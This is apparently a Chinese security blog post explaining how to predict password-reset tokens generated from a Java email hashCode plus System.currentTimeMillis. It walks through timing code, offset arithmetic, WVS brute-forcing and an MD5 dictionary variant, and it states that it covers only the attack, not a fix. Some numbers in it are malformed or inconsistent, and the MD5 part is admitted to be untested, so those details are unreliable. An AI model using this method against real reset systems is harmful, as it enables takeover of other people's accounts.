By kxlzx https://www.inbreak.net/
摘要:
这是一个随机函数破解的经典例子。在java程序中,获取随机数的做法有多种。但是我们实现一个随机token,并用于认证时,通常第一时间,想起来使用“System.currentTimeMillis”,本文会详细讲解一次破解随机数的经过。
正文:
“System.currentTimeMillis”这个方法,返回从UTC 1970年1月1日午夜开始经过的毫秒数。执行结果,可能是类似“1315395175327”这样的数字,因为后面的几位,是毫秒,所以执行结果就好像“随机”一样。
今天遇到的一个系统,相关业务逻辑场景,是用于找回密码。首先要求用户输入自己的邮箱,系统算出来一个token,发给用户邮箱,让用户使用token,执行修改密码的这一步。
1、输入邮箱。
2、发送邮件给用户邮箱。
3、根据邮箱中的链接,修改密码
就是说,只要能破解了服务器给用户生成的token,就可以直接修改用户密码。
在生成token时,采用了这样一段代码:
public String genToken(String email) { String token = email.hashCode() * 21 + System.currentTimeMillis() + ""; return token; } |
从代码上可以看到,Email的hashcode,在用户的email固定的情况下,是不变的,那么这个不变的数字,即使乘以21,依然是不变的。只要知道了用户的email,就可以知道这个数字。
真正随机的只有System.currentTimeMillis()
这个方法貌似随机,条件允许的情况下,其实是可以破解的。
利用系统时间可预测破解java随机数:
根据以上流程,只要攻击者提交
https://www.inbreak.net/user/findpassword.action?email=4700012@qq.com |
就可以给攻击者的邮箱,发一封EMAIL。
================
你好,空虚浪子心:
请点击链接重置密码。该链接24小时内有效。
或将以下链接拷贝到浏览器地址栏中:
https://www.inbreak.net/user/resetpassword.action?token=1315336352414 |
该邮件由系统自动发送,请勿直接回复此邮件。
==============
随后的那个token,就是随机生成的数字。同理,输入另一个用户(被攻击者)的邮箱,也可以发送一封email。如果服务器上的时间,和攻击者机器上执行的时间一致,在不考虑网络传输成本的前提下,是可以直接得到token的。
当然,这不可能。
但是好在我们的时间速度,和服务器的时间速度,基本一致。注意,这里讲的不是时间一致,是时间的速度一致,可能本地的时间是10点,服务器是11点,那么当本地的时间为11点时,服务器必然已经12点了。
我们的时间,和服务器时间,总是会相差一个数字。
网络速度,每次传输都不一致,第一次发出请求,可能用1.020秒,第二次,用0.921秒。
没关系,我们尽量让它变得可预测些。
在本地,写这样一段代码:
=================
public static void main(String[] args) throws IOException { System.out.println(i + 1); i++; System.out.println("------mystart"); System.out.println("4700012@qq.com ".hashCode() * 21 + System.currentTimeMillis()); sendPost("https://www.inbreak.net/user/findpassword.action?email=4700012@qq.com"); System.out.println("4700012@qq.com".hashCode() * 21 + System.currentTimeMillis()); System.out.println("------myend"); System.out.println("------user start"); Long x = "10000@qq.com".hashCode() * 21 + System.currentTimeMillis(); System.out.println(x); sendPost("https://www.inbreak.net/user/findpassword.action?email=10000@qq.com"); Long y = "10000@qq.com ".hashCode() * 21 + System.currentTimeMillis(); System.out.println(y); System.out.println(y - x); System.out.println("------user end"); } |
=================
代码流程,使用文字描述:
1、 打印攻击者的开始时间。
2、 发邮件给攻击者。
3、 打印攻击者的结束时间。
4、 打印要破解的用户开始时间
5、 发邮件给要破解的用户。
6、 打印要破解的用户结束时间
7、 打印请求服务器给用户发邮件的用时
程序执行的结果如下:
======================
------mystart 1315395175327 1315395175437 //攻击者的结束时间 ------myend ------user start 1316945857268 1316945857305 //用户结束时间 37 //用户结束时间减去用户开始时间 = 网络延迟。 ------user end |
======================
于此同时,收到了一封邮件,token为“1315395156493”。
然后根据以下的计算公式:
攻击者的结束时间(已知) – 服务器给攻击者发邮件的时间(已知) = 时间差(可以算出来)
用户结束时间(已知) – 服务器发给用户邮件时间(就是未知数x) = 时间差(前面算出来的)
可以算出给用户发邮件的时间,这个时间是模糊的,还需要加减当时的网络延迟(刚才程序打印出来了),才能得到一个最终区间。
再写段代码:
=============================
Long myendtime = Long.valueOf("1315395175437"); //在我本地执行完给我邮件发送的时间 Long userendtime = Long.valueOf("1316945857305"); //在我本地执行完给用户发邮件的时间 Long myservertime = Long.valueOf("1315395156493"); //服务器给我发邮件的时间 Long userservertime = userendtime - (myendtime-myservertime); System.out.println(userservertime); |
===================================
这段代码打印出了结果:
1316945838361 |
这是我们预测的,服务器给用户的发邮件时间范围基数。
最终数字,应该是这个值加减37(当时的网络延迟),也就是1316945838324到131694583832474的范围内。
下面交给WVS处理
很快的,得出结果,第一列的response内容大小,和其他的不同,大家都是1153B,只有这一条是2685B,说明内容不一样,这就是答案了。
得到答案,我们访问页面看看。
图中可以看到,攻击者可以已经破解了token,可以直接修改密码。
在做网络攻击时,当然情况可能不一致,网络延迟如果很久,可以换网速好,延迟少的机器。最好在半夜三更的时候进行,成功几率大很多。
进阶攻击:
当然,会有开发自作聪明,给最终数字,也就是token,加上MD5。这的确可以增加攻击成本,但是实质上还是自欺欺人。对于攻击者,只需要在固定的时间范围,就可以放一个字典。
1316945838361 -- 7bfe0596e68cb9c43bfd0749d835c62d |
一一对应,在最终做算术题中,多几次查询即可。
我们可以就拿以上示例,给大家进阶一下。
代码为
public String genToken(String email) { String token = email.hashCode() * 21 + System.currentTimeMillis() + ""; return md5(token); } |
和前文代码基本一致,只是返回时,最终调用了md5。
假设还是上次的结果,服务器会返回:
Token=8b4a258acdff3bf44ed88d174ed0be20 |
这个token其实就是时间的加密,他的解密肯定在一定的时间段范围内。我们首先要找到特征。
执行一下当前时间,先看看我的时间,1315395175437,这是一个long类型。
通过
System.out.println(new SimpleDateFormat("yyyy-MM-dd HH:mm").format(new Date(1315395175437))); |
得出结果:
2011-08-29 20:39 |
经过不断的修改数字,可以看出
13153951,也就是前8位,代表几月几号几点。
75437,也就是后面5位,代表几分几秒。
服务器时间就算再傻,也不能把今天,算成明天,最多和我们本地,相差个多少分钟。
所以我们做字典,在数据库录入:
以“13153951”为固定前缀+5位数字 (00001到99999) |
之后在这个表,增加一个字段,是前面那个字段的MD5值,当然,如果不放心,可以再往前加几位,就是固定前缀“1315395”+ 6位数字,以此类推,数据库不会很大。
这个字典,有什么用呢?
前文说到服务器会给我发邮件,告诉我Token=8b4a258acdff3bf44ed88d174ed0be20,这个md5对应的数字,必然会在这个字典里,所以可以直接从字典中查出来这个md5。
其后的流程,就和前文破解一致。
再次贴一遍结果:
======================
------mystart 1315395175327 1315395175437 //攻击者的结束时间 ------myend ------user start 1316945857268 1316945857305 //用户结束时间 37 //用户结束时间减去用户开始时间 =打印请求服务器给用户发邮件的用时,也就是网络延迟。 ------user end |
======================
之后按照公式,当然会算出1316945838361,是我预测的,服务器给用户的发邮件时间范围基数。
最终数字,应该是这个值加减37(当时的网络延迟),也就是1316945838324到131694583832474的范围内。
将以上范围所有数字,md5加密一下,做成字典,放在wvs中跑一遍,一定也能得出结果。
以上纯属推测,并没有示例测试,但是思路是正确的。
再次进阶
从上面的内容中,大家知道并不是看到token,就想当然的以为没办法,我们从黑盒测试的角度,甚至可以做这样一件自动化的事情,以便直接快速的破解。
当我们看到有存在md5的token后,直接执行以下几步。
写小程序,将以下流程尽量自动化:
1、获取当前时间,其中可以加入用户名前缀的hash,也可以加入email等hash,总之,token的内容,是和用户相关,并且是固定的,联想到我们注册时,也就填写了用户名、email,肯定是相关的。用户名或email+随机数,排列组合一下,分别走一遍前三步。
2、时间范围定在1小时内(前面几位数字固定前缀即可),生成md5字典。
3、获取自己账号的token,然后在字典中,得出结果。
4、如果第三步成功,基本就可以确定漏洞存在。后面利用公式,计算出服务器给用户token的时间基数,正负时间差,做成md5字典。
5、WVS跑一遍字典,查看服务器返回数据大小,从而得出用户的token。
如果我们已经有生成token的代码,就像文章中的示例,就可以省略猜测算法的步骤了。在生成token的时候,肯定有不少人犯了这样的错误,本文主要谈攻击思路,至于修补方案就不管了,大家懂得。
By kxlzx https://www.inbreak.net/